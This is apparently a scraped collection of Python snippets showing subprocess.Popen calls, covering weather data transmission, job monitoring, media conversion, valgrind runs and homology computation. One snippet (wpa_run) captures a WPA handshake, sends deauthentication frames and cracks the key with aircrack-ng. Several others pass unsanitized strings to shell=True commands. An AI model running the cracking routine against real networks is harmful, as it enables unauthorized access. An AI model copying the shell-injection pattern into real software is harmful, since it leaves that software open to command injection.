                alertMsg = "ISC data successfully transmitted to: " + ",".join(
                    addresses)
                self.logEvent(alertMsg)

        for file in attachments:
            try:
                os.remove(file)
            except OSError:
                self.logException("Error removing file: " + file)
Ejemplo n.º 33
0
def detect_modules():
    
    list = Popen([PATH], stdin = PIPE, stderr = PIPE)
    list.stdin.write(b"l\ne\n")
    
    out, err = list.communicate()
    list = err.decode()
    list = list[list.find("List of available modules"):]
    
    regex = r"[N|Z|Q|P]\-\d[ \d]"
    
    modules = re.finditer(regex, list, re.MULTILINE)
    modules = [module[0][0] + module[0][2:].strip() for module in modules]
    
    return modules
Ejemplo n.º 34
0
def plexconnect_status(host):

    if os.name == "posix":
        call(plexconnectpath+" status > plexconnect_status.txt",shell=True)
    else: #win32
        
        output = Popen("sc query PlexConnect-service", shell=True, stdout=PIPE).communicate()[0]

        if output.find("FAILED") > 0:
            command = Popen("tasklist /FI \"IMAGENAME eq pythonw.exe\" /NH ", shell=True, stderr=PIPE,stdout=PIPE).communicate()[0]
            time.sleep(1)

            if len(command) > 81:
                call("echo PlexConnect is running > plexconnect_status.txt",shell=True)
            else:
                call("echo PlexConnect is not running > plexconnect_status.txt",shell=True)

        else:
            if output.find("STOPPED") > 0:
                call("echo PlexConnect is not running > plexconnect_status.txt",shell=True)
            else:
                call("echo PlexConnect is running > plexconnect_status.txt",shell=True)

    time.sleep(2)
Ejemplo n.º 35
0
    def convertEpisode(self):
        self.convertMutex.tryLock(-1)
        self.downloadMutex.tryLock(-1)

        workItem = self.lstwToConvert.takeItem(0)

        self.downloadMutex.unlock()

        output_file = workItem.text()[:len(workItem.text()) - 3] + self.cbOutputFormat.currentText()

        file_info = Popen(['ffmpeg', '-i', workItem.text()], stderr=PIPE)
        file_info.wait()
        file_info = file_info.stderr.read(-1).decode('utf-8')
        file_info = file_info[file_info.find('Duration:') + 10:]
        file_info = file_info[:file_info.find(',')]
        file_time_info = file_info.split(':')
        file_time_info = file_time_info + file_time_info[2].split('.')
        length = int(file_time_info[0]) * 3600 + int(file_time_info[1]) * 60 + int(file_time_info[3])
        self.pbConverted.setMaximum(length)
        self.pbConverted.setValue(0)
        self.appendLogs.emit('Zaczynam konwertować: ' + workItem.text())
        '''TO DO Start converting'''

        self.convertMutex.unlock()
Ejemplo n.º 36
0
def plexconnect_status(host):

    if os.name == "posix":
        call(plexconnectpath+" status > plexconnect_status.txt",shell=True)
    else: #win32
        
        output = Popen("sc query PlexConnect-service", shell=True, stdout=PIPE).communicate()[0]

        if output.find("FAILED") > 0:
            command = Popen("tasklist /FI \"IMAGENAME eq pythonw.exe\" /NH ", shell=True, stderr=PIPE,stdout=PIPE).communicate()[0]
            time.sleep(1)

            if len(command) > 81:
                call("echo PlexConnect is running > plexconnect_status.txt",shell=True)
            else:
                call("echo PlexConnect is not running > plexconnect_status.txt",shell=True)

        else:
            if output.find("STOPPED") > 0:
                call("echo PlexConnect is not running > plexconnect_status.txt",shell=True)
            else:
                call("echo PlexConnect is running > plexconnect_status.txt",shell=True)

    time.sleep(2)
Ejemplo n.º 37
0
    def transmitFiles(self, subject, addresses, sourceWfo, attachments,
      xmtScript):
        # assembles the command and executes it.
        # determine MHS WMO id for this message
        wmoid = "TTAA00 "
        if sourceWfo in ['SJU']:
            wmoid += "TJSJ"
        elif sourceWfo in ['AFG', 'AJK', 'HFO', 'GUM']:
            wmoid += "P" + sourceWfo
        elif sourceWfo in ['AER', 'ALU']:
            wmoid += "PAFC"
        elif len(sourceWfo) == 3:
            wmoid += "K" + sourceWfo
        elif len(sourceWfo) == 4:
            wmoid += sourceWfo
        else:
            wmoid += "XXXX"
        wmoid += " " + time.strftime("%d%H%M", time.gmtime(time.time()))

    # Transmit files - do string substitution
        if xmtScript is not None: 
            cmd = copy.deepcopy(xmtScript)
            cmd = string.replace(cmd, "%SUBJECT", subject)
            cmd = string.replace(cmd, "%ADDRESSES", ",".join(addresses))
            cmd = string.replace(cmd, "%WMOID", "'" + wmoid + "'")
            cmd = string.replace(cmd, "%ATTACHMENTS", ",".join(attachments))

            self.logEvent("Transmit: ", cmd) 
            import siteConfig
            from subprocess import Popen,PIPE
            output,err = Popen(cmd.split(" "), stdout=PIPE,stderr=PIPE).communicate()
            if output.find(siteConfig.GFESUITE_MHSID+"-") == -1:
                alertMsg = "ISC Send failed transmission to : "+",".join(addresses)+" --> "+output+" "+err
                self.logProblem(alertMsg)
            else:
                self.logEvent(output.rstrip())
                if len(err) > 0:
                    self.logProblem(err.rstrip())
                alertMsg="ISC data successfully transmitted to: "+",".join(addresses)
                self.logEvent(alertMsg)

        for file in attachments: 
            try:
                os.remove(file)
            except OSError:
                pass
Ejemplo n.º 38
0
def get_mac_address(epics_id):
    """
    Args:
        epics_id (Str): The EPICS name of the device.
    Returns:
         str: mac address of the device.
    """
    pv = "SA:X"  # Any PV hosts on the device could be used here
    node = connect(
        ':'.join((epics_id, pv)),
        cainfo=True).host.split(":")[0]  # Get the IP address of the host
    host_info = Popen(["arp", "-n", node], stdout=PIPE).communicate()[
        0]  # Uses arp to get more info about the host
    host_info = host_info.split("\n")[1]  # Splits the data about the host
    index = host_info.find(":")  # Gets the first ":", used in the MAC address
    host_info = host_info[index - 2:index + 15]  # Gets the devices MAC address
    return host_info
Ejemplo n.º 39
0
    def checkPBSJob (self):
        
        global timestamp
        global userName
        global SleepTime

        status = Popen("qstat "+self.pbsID, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True).stdout.read()
        
        while status.find("Unknown Job Id") == -1:

            self.log.output("     -----> It seems that the job is still running, sleeping "+str(SleepTime)+"s")
            
            time.sleep(SleepTime)

            status = Popen("qstat "+self.pbsID, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True).stdout.read()

        self.log.output("-> JOB Finished, dumping output")
        self.pbsLog = (Popen("echo /localgrid/"+userName+"/"+self.taskName+".o*", shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True).stdout.read()).strip()
        if os.path.exists(self.pbsLog):
            for line in open(self.pbsLog):
                self.log.output(line.strip())
Ejemplo n.º 40
0
def parseReleaseInfo(release='/etc/redhat-release'):
    if not os.path.exists(release):
        return None

    try:
        name = Popen(['/usr/lib/suseRegister/bin/parse_release_info', '-si', '--file', release], stdout=PIPE).communicate()[0]
        version = Popen(['/usr/lib/suseRegister/bin/parse_release_info', '-sr', '--file', release], stdout=PIPE).communicate()[0]
        release = Popen(['/usr/lib/suseRegister/bin/parse_release_info', '-sc', '--file', release], stdout=PIPE).communicate()[0]
        arch = Popen(['uname', '-m'], stdout=PIPE).communicate()[0]
    except:
        return None

    if '.' in version:
        version = version[:version.find('.')]
    p = {
        'name' : name,
        'version' : version.strip(),
        'release' : release.strip(),
        'arch' : arch.strip(),
        'baseproduct' : 'Y' }
    return p
Ejemplo n.º 41
0
    def wpa_run(self):
        dump_cmd = [
            'airodump-ng', '-c', self.channel, '--bssid', self.bssid, '-w',
            './log/' + self.bssid, self.iface
        ]
        airodump_proc = Popen(dump_cmd, stdout=DN, stderr=DN)
        self.proc_list.append(airodump_proc)

        self.send_deauths()
        while self.key == '':
            output = Popen('tshark -r ./log/' + self.bssid +
                           '-01.cap 2>/dev/null| grep "Message 4 of 4"',
                           shell=True,
                           stdout=PIPE).communicate()[0]
            if output.find('Message 4 of 4') != -1:
                execute('rm ./log/' + self.bssid + '.key')
                airodump_proc.kill()
                airodump_proc.communicate()
                crack_cmd = [
                    'aircrack-ng', '-w', self.password_list, '-b', self.bssid,
                    './log/' + self.bssid + '-01.cap', '-l',
                    './log/' + self.bssid + '.key'
                ]
                crack_proc = Popen(crack_cmd, stdout=DN)
                self.proc_list.append(crack_proc)
                crack_proc.wait()
                try:
                    f = open('./log/' + self.bssid + '.key')
                    key = f.read()
                    f.close()
                    self.key = key
                    self.crack_success = True
                    self.stop()
                except:
                    pass
            else:
                self.send_deauths()
                time.sleep(5)
        return self.key
Ejemplo n.º 42
0
 def set_pwm(self, pwm, pct):
     print("Set pwm %d to %d" % (pwm, pct))
     cmd = ('/usr/local/bin/fan-util --set %d %d' % (pct, pwm))
     response = Popen(cmd, shell=True, stdout=PIPE).stdout.read()
     if response.find("Setting") == -1:
         raise Exception(response)
Ejemplo n.º 43
0
def getDefinition(argsListList, caller="vim"):
    argsListList[0].insert(0, "-n")
    argsListList[0].insert(0, "sdcv")

    f = open("/home/phongvcao/vim-stardict-output.txt", "w")
    f.write(str(argsListList))
    f.close()

    definition = Popen(" ".join(argsListList[0]), shell=True, stdout=PIPE)\
            .stdout.read()
    encoding = locale.getdefaultlocale()[1]
    definition = formatStr(definition.decode(encoding))

    if (caller == "bash"):
        stardictResult = "[A-Z].*"
        stardictWord = "\\@.*"
        stardictWordType = "\\*.*"
        stardictWordMeaning = "[0-9].*"
        stardictWordExample = "(    \\-\\s.*\\:|\\!.*|    \\-\\s.*)"
        stardictDictName = "\\@[^/]*\\:[^/]*"
        # The color codes were generated by running the following commands
        # in bash:
        #
        # for (( i = 0; i < 17; ++i ));
        # do echo "$(tput setaf $i)This is ($i) $(tput sgr0)";
        # done
        #
        # http://stackoverflow.com/a/25692021
        #

        nc = "\033[0m"
        preProcSubStr = os.environ["STARDICT_WORD"] + "\\1" + nc
        specialSubStr = os.environ["STARDICT_RESULT"] + "\\1" + nc
        statementSubStr = os.environ["STARDICT_WORD_TYPE"] + "\\1" + nc
        identifierSubStr = os.environ["STARDICT_WORD_MEANING"] + "\\1" + nc
        typeSubStr = os.environ["STARDICT_WORD_EXAMPLE"] + "\\1" + nc
        underlinedSubStr = os.environ["STARDICT_DICT_NAME"] + "\\1" + nc

        finalStr = ""
        replacedStr = ""
        startLineCharIdx = -1

        while True:
            endLineCharIdx = definition.find('\n', startLineCharIdx + 1)

            if (endLineCharIdx < 0):
                break

            # Also include newline as part of the extracted string
            line = definition[startLineCharIdx + 1:endLineCharIdx + 1]

            if (re.match("^" + stardictResult, line)):
                # Re-format stardictResult
                replacedStr = re.sub("^(" + stardictResult + ")",
                        specialSubStr, line, flags=re.IGNORECASE)

            elif (re.match("^" + stardictDictName, line)):
                # Re-format stardictDictName
                replacedStr = re.sub("^(" + stardictDictName + ")",
                        underlinedSubStr, line, flags=re.IGNORECASE)

            elif (re.match("^" + stardictWord, line)):
                # Re-format stardictWord
                replacedStr = re.sub("^(" + stardictWord + ")", preProcSubStr,
                        line, flags=re.IGNORECASE)

            elif (re.match("^" + stardictWordType, line)):
                # Re-format stardictWordType
                replacedStr = re.sub("^(" + stardictWordType + ")",
                        statementSubStr, line, flags=re.IGNORECASE)

            elif (re.match("^" + stardictWordMeaning, line)):
                # Re-format stardictWordMeaning
                replacedStr = re.sub("^(" + stardictWordMeaning + ")",
                        identifierSubStr, line, flags=re.IGNORECASE)

            elif (re.match("^" + stardictWordExample, line)):
                # Re-format stardictWordExample
                replacedStr = re.sub("^(" + stardictWordExample + ")",
                        typeSubStr, line, flags=re.IGNORECASE)

            else:
                replacedStr = line

            finalStr += replacedStr
            startLineCharIdx = endLineCharIdx

        return finalStr

    return definition
Ejemplo n.º 44
0
    def runJob(self):
        """Run the athena job. Returns JobReport with the result of the run.
        Can be overridden in derived class, typically for a composite transform,
        running several athena jobs."""

        self.logger().info('Using %s' % (trfenv.trfPath))

        #
        # start with the pre-run actions
        #
        self.doPreRunActions()
        # gather environment only after preRunActions, as they may change the environment
        self.gatherEnvironmentInfo()

        # Prepare for running athena job
        #
        # open the logfile
        logFile = fileutil.Tee(self._logFilename, 'a')

        #
        # get maximum event number, valgrind version and jobOptions to process
        #
        # maxEventsArg = self.getArgumentOfType("MaxEvents")
        # maxEvents = maxEventsArg and maxEventsArg.value()
        # self.logger().info( 'In runJob() %d' % ( maxEvents ) )

        stacktraceDepthArg = self.getArgumentOfType("StacktraceDepth")
        stacktraceDepth = stacktraceDepthArg and stacktraceDepthArg.value()
        self.logger().info(' valgrind monitors up to stacktraceDepth: %s' %
                           (stacktraceDepth))

        valgrindToolArg = self.getArgumentOfType("ValgrindTool")
        valgrindTool = valgrindToolArg and valgrindToolArg.value()
        self.logger().info(' will use valgrind tool %s' % (valgrindTool))

        valgrindToolOptArg = self.getArgumentOfType("ValgrindToolOpt")
        valgrindToolOpt = valgrindToolOptArg and valgrindToolOptArg.value()
        self.logger().info(' will use these valgrind tool options %s' %
                           (valgrindToolOpt))

        valgrindGenSuppressionArg = self.getArgumentOfType(
            "ValgrindGenSuppression")
        valgrindGenSuppression = valgrindGenSuppressionArg and valgrindGenSuppressionArg.value(
        )
        self.logger().info(' will produce suppressions file %s' %
                           (valgrindGenSuppression))

        valVersionArg = self.getArgumentOfType("ValgrindVersion")
        valVersion = valVersionArg and valVersionArg.value()
        self.logger().info(' will use valgrind version %s' % (valVersion))

        jobOptionsArg = self.getArgumentOfType("JobOptions")
        jobOptions = jobOptionsArg and jobOptionsArg.value()
        self.logger().info(' processing these jobOptions: %s' % (jobOptions))

        needInputFileArg = self.getArgumentOfType("NeedInputFile")
        needInputFile = needInputFileArg and needInputFileArg.value()
        self.logger().info(' need some input file: %s' % (needInputFile))

        checkFilesArg = self.getArgumentOfType("CheckFiles")
        checkFiles = checkFilesArg and checkFilesArg.value()
        self.logger().info(' doing checks on produced files: %s' %
                           (checkFiles))

        recoTrfArg = self.getArgumentOfType("RecoTrf")
        recoTrf = recoTrfArg and recoTrfArg.value()
        self.logger().info(' calling jobTransform in this way %s' %
                           (recoTrf.replace('+', ' ').replace('#', '+')))

        athenaOptArg = self.getArgumentOfType("AthenaOpt")
        athenaOpt = athenaOptArg and athenaOptArg.value()
        self.logger().info(' calling athena with these optional arguments %s' %
                           (athenaOpt))

        trackOriginsArg = self.getArgumentOfType("TrackOrigins")
        trackOrigins = trackOriginsArg and trackOriginsArg.value()
        self.logger().info(
            ' track origins of uninitialized variables (memory hungry !): %s' %
            (trackOrigins))

        dumpInstrArg = self.getArgumentOfType("DumpInstr")
        dumpInstr = dumpInstrArg and dumpInstrArg.value()
        self.logger().info(' callgrind: collect at instruction level: %s' %
                           (dumpInstr))

        instrAtStartArg = self.getArgumentOfType("InstrAtStart")
        instrAtStart = instrAtStartArg and instrAtStartArg.value()
        self.logger().info(
            ' callgrind: start collecting at start of program: %s' %
            (instrAtStart))

        recExCommonLinksArg = self.getArgumentOfType("RecExCommonLinks")
        recExCommonLinks = recExCommonLinksArg and recExCommonLinksArg.value()
        self.logger().info(' run RecExCommon_links.sh before: %s' %
                           (recExCommonLinks))

        reqCmtConfigArg = self.getArgumentOfType("ReqCmtConfig")
        reqCmtConfig = reqCmtConfigArg and reqCmtConfigArg.value()
        self.logger().info(' requiring CMTCONFIG for this job to be %s' %
                           (reqCmtConfig))

        self.logger().info('Doing some tests before executing valgrind')
        tmp = os.system(' which athena.py > /dev/null ')
        self.logger().info(' Do we have athena setup ? %s' % (tmp))

        # determine the platform from uname and modify for valgrind usage
        platform = os.uname()[4]
        valgrindMachPath = 'ia32'
        self.logger().info(' will use as platform ? %s' % (platform))
        if platform == "x86_64":
            valgrindMachPath = 'amd64'

        gzip_logfile = False
        tmp = os.environ['CMTCONFIG']
        mach = tmp.split('-')
        if len(mach) != 4:
            self.logger().error(
                'Cannot determine linux versions and compiler from $CMTCONFIG !! It has %d instead of 4 elements !'
                % (len(mach)))
            exit(0)

        self.logger().info(' will also use : %s %s' % (mach[1], mach[2]))
        # valgrindBasePath='/afs/cern.ch/sw/lcg/external/valgrind/3.4.1/' + mach[1] + '_' + valgrindMachPath + '_' + mach[2]
        valgrindBasePath = '/afs/cern.ch/user/r/rig/sw/vg-3.8.1'
        if valVersion == "3.8.0":
            valgrindBasePath = '/afs/cern.ch/user/r/rig/sw/vg-3.8.0'
            gzip_logfile = True
        if valVersion == "3.6.1":
            valgrindBasePath = '/afs/cern.ch/user/r/rig/sw/vg-3.6.1'
            gzip_logfile = True
        if valVersion == "trunk":
            valgrindBasePath = '/afs/cern.ch/user/r/rig/sw/vg-trunk'
            gzip_logfile = True

        self.logger().info('Setting up valgrind from located at %s' %
                           (valgrindBasePath))

        proName = os.environ['AtlasProject']
        tmp = os.path.split(os.getcwd())[0]
        jobName = os.path.split(tmp)[1]
        relName = os.environ['AtlasVersion']

        vetoed = False

        #fll=os.environ["FRONTIER_LOG_LEVEL"]
        #fsv=os.environ["FRONTIER_SERVER"]
        #os.environ.pop("FRONTIER_LOG_LEVEL")
        #os.environ.pop("FRONTIER_SERVER")

        if (reqCmtConfig != 'None'):
            self.logger().info(' specific CMTCONFIG required : %s ' %
                               reqCmtConfig)
            vetoed = True
            tmp = os.environ['CMTCONFIG']
            if (tmp.find(reqCmtConfig) > -1):
                vetoed = False

            # if ( tmp.find("x86_64") > -1 ):
            #     vetoed = True

            if vetoed:
                self.logger().info(' Vetoed: Yes, we will NOT run valgrind !')
                os.system('touch vetoed')
                self.logger().info(' Exiting !')
                sys.exit(2)
            else:
                self.logger().info(' Not vetoed, so we will run valgrind !')

        if os.access(valgrindBasePath, os.F_OK):
            self.logger().info(
                ' Everything looks OK, get now the jobOptions %s ' %
                jobOptions)
            get_files(jobOptions,
                      fromWhere='JOBOPTSEARCHPATH',
                      depth=1,
                      sep=',')

            self.logger().info(
                ' Everything looks OK, get now the suppression file(s)')
            get_files('valgrindRTT.supp')
            get_files('Gaudi.supp/Gaudi.supp')
            get_files('root.supp/root.supp')
            get_files('newSuppressions.supp')
            get_files('oracleDB.supp')
            # get_files ( 'valgrind-python.supp/valgrind-python.supp' )

            # add valgrind to PATH and LD_LIBRARY_PATH
            os.environ[
                'PATH'] = valgrindBasePath + '/bin' + ':' + os.environ['PATH']
            os.environ[
                'LD_LIBRARY_PATH'] = valgrindBasePath + '/lib' + ':' + os.environ[
                    'LD_LIBRARY_PATH']

            tmp = os.system('which valgrind > /dev/null')
            self.logger().info(' do we have valgrind setup correctly ? %s' %
                               (tmp))

            # somebody compiles in tmp directory, as valgrind also follows this compilation, we
            # need to supply absolute paths to all suppression files
            currentWorkArea = os.getcwd()

            if (recExCommonLinks):
                self.logger().info(' executing RecExCommon_links.sh')
                tmp = os.system('RecExCommon_links.sh > /dev/null')

            # tmp = os.system('setupLocalDBReplica_CERN.sh COMP200')
            # self.logger().info( ' executing RecExCommon_links.sh' )

            # toolOptions     = ' --leak-check=yes --show-reachable=yes --log-file=valgrind.out.process.\%p '
            toolOptions = ' --leak-check=yes --log-file=valgrind.out.process.\%p '

            valgrindOptions = ' --trace-children=yes --track-fds=yes '
            # valgrindOptions = ' --trace-children=yes --track-fds=yes '
            # only in 3.5.0:
            if valVersion == "3.6.1":
                valgrindOptions = valgrindOptions + ' --read-var-info=yes'

            valgrindOptions = valgrindOptions + ' --num-callers=' + str(
                stacktraceDepth)
            valgrindOptions = valgrindOptions + ' --suppressions=' + currentWorkArea + '/valgrindRTT.supp '
            valgrindOptions = valgrindOptions + ' --suppressions=' + currentWorkArea + '/newSuppressions.supp '
            valgrindOptions = valgrindOptions + ' --suppressions=' + currentWorkArea + '/oracleDB.supp '

            # add other suppressions files:
            valgrindOptions += '--suppressions=' + currentWorkArea + '/Gaudi.supp/Gaudi.supp '
            valgrindOptions += '--suppressions=' + currentWorkArea + '/root.supp/root.supp '

            # use suppression file shipped with root, if it exists
            # probably 99.99% overlap with ATLAS own's but might be a bit newer
            root_supp_path = os.path.expandvars(
                '$ROOTSYS/etc/valgrind-root.supp')
            if os.path.exists(root_supp_path):
                valgrindOptions += '--suppressions=$ROOTSYS/etc/valgrind-root.supp '
            # --trace-children-skip=/bin/sh,cmt.exe

            athenaOptions = ' `which python` `which athena.py` '

            pre = ' -c "'
            post = ' '
            if (athenaOpt != 'None'):
                athenaOptions += pre + athenaOpt
                pre = ';'
                post = '" '

            if (needInputFile == "EVGEN"):
                self.logger().info(' EVGEN file requested, now copying')
                tmp = os.system(
                    'cp /afs/cern.ch/atlas/maxidisk/d33/referencefiles/Sim/EVGEN.pool.root EVGEN.pool.root'
                )

            if (recoTrf != "None"):

                if (needInputFile != 'None'):
                    self.logger().info(
                        ' optionally using input file of type: %s ' %
                        needInputFile)
                    if (needInputFile == "ESD"):
                        # tmp = os.system('cp /afs/cern.ch/atlas/maxidisk/d33/releases/latest.ESD.pool.root ESD.pool.root')
                        tmp = os.system(
                            'cp /afs/cern.ch/atlas/project/rig/referencefiles/dataStreams_ESD.AOD_50Events/data10_7TeV.00167607.physics_JetTauEtmiss.recon.ESD.f298._lb0087._SFO-4._0001.1_50Events_rel.16.0.3.8_rereco ESD.pool.root'
                        )

                    if (needInputFile == "AOD"):
                        tmp = os.system(
                            'cp /afs/cern.ch/atlas/maxidisk/d33/releases/latest.AOD.pool.root AOD.pool.root'
                        )

                from subprocess import Popen, PIPE
                cmd = recoTrf.replace('+', ' ').replace('#', '+')

                # first check, that all arguments are allowed (outputfiles often change ...)
                output = Popen([cmd.split()[0] + ' -h'],
                               stdout=PIPE,
                               shell=True).communicate()[0]
                # self.logger().info( 'Here is the output : ' )
                # for outline in output.split('\n'):
                #  self.logger().info( 'PIPE >' + outline + '<' )
                allfound = True
                newcmd = ""
                sep = ""
                for args in cmd.split():
                    # self.logger().info( 'CMD >' + args + '<' )
                    thisargstr = args
                    if (args.find("=") >= 0):
                        thisargstr = args.split(
                            "=")[0] + '< with value >' + args.split("=")[1]

                    if (output.find(args.split("=")[0]) > 0
                            or args.split("=")[0].startswith("append_pre")):
                        self.logger().info('FOUND ARG >' + thisargstr + '<')
                        newcmd += sep + args
                        sep = " "
                    else:
                        self.logger().info(' NOT FOUND ARG >' + thisargstr +
                                           '<')
                        # an argument for the job transform wasn;t found !
                        # remove it
                        allfound = False

                self.logger().info('ARG CMP old>' + cmd + '<')
                self.logger().info('ARG CMP new>' + newcmd + '<')
                if (cmd != newcmd):
                    cmd = newcmd

                self.logger().info(
                    'running dummy jobTransform to create pickle file')
                cmd += ' --athenaopts="--config-only=rec.pkg --keep-configuration" --omitvalidation=ALL '
                self.logger().info(' cmd : ' + cmd)
                output = Popen([cmd], stdout=PIPE, shell=True).communicate()[0]
                self.logger().info('Here is the output :')
                for outline in output.split('\n'):
                    self.logger().info('TRF >' + outline + '<')

                os.system('ls -la >& dir.log')

            else:

                if (needInputFile != 'None'):
                    self.logger().info(
                        ' reco_trf will use input file of type: %s ' %
                        needInputFile)
                    if (needInputFile == "ESD"):
                        athenaOptions += pre + 'from AthenaCommon.AthenaCommonFlags import athenaCommonFlags;athenaCommonFlags.FilesInput=[\'/afs/cern.ch/atlas/maxidisk/d33/releases/latest.ESD.pool.root\']'
                        pre = ';'
                        post = '" '

                    if (needInputFile == "AOD"):
                        athenaOptions += pre + 'from AthenaCommon.AthenaCommonFlags import athenaCommonFlags;athenaCommonFlags.FilesInput=[\'/afs/cern.ch/atlas/maxidisk/d33/releases/latest.AOD.pool.root\']'
                        pre = ';'
                        post = '" '

                cmd = athenaOptions + post + jobOptions
                cmd += ' --config-only=rec.pkg --keep-configuration'

                from subprocess import Popen, PIPE
                self.logger().info(
                    'running dummy athena job to create pickle file')
                self.logger().info(' cmd : ' + cmd)
                output = Popen([cmd], stdout=PIPE, shell=True).communicate()[0]
                self.logger().info('Here is the output :')
                for outline in output.split('\n'):
                    self.logger().info('TRF >' + outline + '<')

                os.system('ls -la >& dir.log')

            athenaOptions += post

            athenaOptions += ' --stdcmalloc rec.pkg.pkl > out.valgrind.log 2>&1 '

            toolName = 'memcheck'

            trackOriginsStr = ''
            if (trackOrigins):
                trackOriginsStr = '--track-origins=yes'

            # toolOptions += " --malloc-fill=0xF0 --free-fill=0xF --error-limit=no --main-stacksize=268435456 --max-stackframe=33554432 " + trackOriginsStr
            toolOptions += " --malloc-fill=0xF0 --free-fill=0xF --error-limit=no " + trackOriginsStr

            if (valgrindTool == "callgrind"):
                toolOptions = ' --tool=callgrind --callgrind-out-file=callgrind.out.process.\%p '
                if dumpInstr:
                    toolOptions += ' --dump-instr=yes '
                if not instrAtStart:
                    toolOptions += ' --instr-atstart=no '
                toolName = valgrindTool

            if (valgrindTool == "massif"):
                toolOptions = ' --tool=massif --massif-out-file=massif.out.process.\%p --detailed-freq=1 --max-snapshots=300'
                toolName = valgrindTool

            if (valgrindTool == "dhat"):
                toolOptions = ' --tool=exp-dhat --show-top-n=2500 '
                toolName = valgrindTool

            if (valgrindTool == "ptrcheck"):
                toolOptions = ' --tool=exp-ptrcheck --error-limit=no '
                # to speed up ptrcheck, one can add --enable-sg-checks=no
                toolName = valgrindTool

            if (valgrindGenSuppression == "yes"):
                toolOptions += ' --gen-suppressions=all'

            if (valgrindToolOpt != 'None'):
                toolOptions += valgrindToolOpt

            self.logger().info(' now starting TopObserver !')
            thread.start_new_thread(TopObserver, (toolName, ))

            if not vetoed:
                self.logger().info(' now starting valgrind !')
                string = ' /usr/bin/time valgrind ' + toolOptions + valgrindOptions + athenaOptions
                self.logger().info(' now calling valgrind with : <%s>' %
                                   string)
                tmp = os.system(string)
                if gzip_logfile:
                    tmp = os.system("gzip out.valgrind.log")
                # tmp = os.system( athenaOptions )
            else:
                self.logger().info(' job was vetoed ! based on %s %s' %
                                   (proName, jobName))
                tmp = os.system('touch veto.log')

            # testing, no valgrind ...
            # tmp = os.system( ' athena.py --stdcmalloc ' + jobOptions + ' > out.valgrind.log 2>&1 ' )

            self.logger().info(' valgrind returned with code %s' % (tmp))
            tmp = os.system('touch done')
            time.sleep(5)

            if (valgrindTool == "callgrind"):
                tmp = os.system(
                    "mkdir t; cp callgrind.out.process.`grep 'ValgrindHelperAlg\ *INFO ValgrindHelperAlg:' out.valgrind.log | gawk '{ print $NF }'` t; gzip callgrind.out.process.*"
                )

            # clean up the local copies of the input files
            if (recoTrf != "None"):
                if (needInputFile != 'None'):
                    self.logger().info(
                        ' cleaning up local copies of the input file of type: %s '
                        % needInputFile)
                    if (needInputFile == "ESD"):
                        tmp = os.system('rm -f ESD.pool.root')

                    if (needInputFile == "AOD"):
                        tmp = os.system('rm -f AOD.pool.root')

            if (needInputFile == "EVGEN"):
                self.logger().info(' removing local copy of EVGEN file')
                tmp = os.system('rm -f EVGEN.pool.root')

            #if ( checkFiles == 'diff' and needInputFile != 'None' ):
            #    tmp = os.system('diffPoolFiles.py -r ' + needInputFile + '.pool.root -f copy_' + needInputFile + '.pool.root > diffFiles.log 2>&1')
            #
            #if ( checkFiles.beginsWith('check:') ):
            #    tmp = os.system('checkFile.py ' + checkFiles.rpartition(':') + ' > checkFile.log 2>&1')

            athenaReport = JobReport()

            thread.exit()

        else:
            self.logger().error(
                ' PATH does not point to a valid valgrind installation ! Cannot run !'
            )
            self.logger().error(' PATH: %s' % valgrindBasePath)

        # overwrite producer for new errors that are added
        athenaReport.setProducer(self.name(), self.version())

        #os.environ["FRONTIER_LOG_LEVEL"]=fll
        #os.environ["FRONTIER_SERVER"]=fsv

        return athenaReport
Ejemplo n.º 45
0
    def __call__(self, program, complex, subcomplex=None, **kwds):
        """
        Call a CHomP program to compute the homology of a chain
        complex, simplicial complex, or cubical complex.

        See :class:`CHomP` for full documentation.

        EXAMPLES::

            sage: from sage.interfaces.chomp import CHomP
            sage: T = cubical_complexes.Torus()
            sage: CHomP()('homcubes', T) # indirect doctest, optional - CHomP
            {0: 0, 1: Z x Z, 2: Z}
        """
        from sage.misc.temporary_file import tmp_filename
        from sage.homology.all import CubicalComplex, cubical_complexes
        from sage.homology.all import SimplicialComplex, Simplex
        from sage.homology.chain_complex import HomologyGroup
        from subprocess import Popen, PIPE
        from sage.rings.all import QQ, ZZ
        from sage.modules.all import VectorSpace, vector
        from sage.combinat.free_module import CombinatorialFreeModule

        if not have_chomp(program):
            raise OSError("Program %s not found" % program)

        verbose = kwds.get('verbose', False)
        generators = kwds.get('generators', False)
        extra_opts = kwds.get('extra_opts', '')
        base_ring = kwds.get('base_ring', ZZ)

        if extra_opts:
            extra_opts = extra_opts.split()
        else:
            extra_opts = []

        # type of complex:
        cubical = False
        simplicial = False
        chain = False
        # CHomP seems to have problems with cubical complexes if the
        # first interval in the first cube defining the complex is
        # degenerate.  So replace the complex X with [0,1] x X.
        if isinstance(complex, CubicalComplex):
            cubical = True
            edge = cubical_complexes.Cube(1)
            original_complex = complex
            complex = edge.product(complex)
            if verbose:
                print("Cubical complex")
        elif isinstance(complex, SimplicialComplex):
            simplicial = True
            if verbose:
                print("Simplicial complex")
        else:
            chain = True
            base_ring = kwds.get('base_ring', complex.base_ring())
            if verbose:
                print("Chain complex over %s" % base_ring)

        if base_ring == QQ:
            raise ValueError("CHomP doesn't compute over the rationals, only over Z or F_p.")
        if base_ring.is_prime_field():
            p = base_ring.characteristic()
            extra_opts.append('-p%s' % p)
            mod_p = True
        else:
            mod_p = False

        #
        #    complex
        #
        try:
            data = complex._chomp_repr_()
        except AttributeError:
            raise AttributeError("Complex can not be converted to use with CHomP.")

        datafile = tmp_filename()
        f = open(datafile, 'w')
        f.write(data)
        f.close()

        #
        #    subcomplex
        #
        if subcomplex is None:
            if cubical:
                subcomplex = CubicalComplex([complex.n_cells(0)[0]])
            elif simplicial:
                m = re.search(r'\(([^,]*),', data)
                v = int(m.group(1))
                subcomplex = SimplicialComplex([[v]])
        else:
            # replace subcomplex with [0,1] x subcomplex.
            if cubical:
                subcomplex = edge.product(subcomplex)
        #
        #    generators
        #
        if generators:
            genfile = tmp_filename()
            extra_opts.append('-g%s' % genfile)

        #
        #    call program
        #
        if subcomplex is not None:
            try:
                sub = subcomplex._chomp_repr_()
            except AttributeError:
                raise AttributeError("Subcomplex can not be converted to use with CHomP.")
            subfile = tmp_filename()
            f = open(subfile, 'w')
            f.write(sub)
            f.close()
        else:
            subfile = ''
        if verbose:
            print("Popen called with arguments", end="")
            print([program, datafile, subfile] + extra_opts)
            print("")
            print("CHomP output:")
            print("")
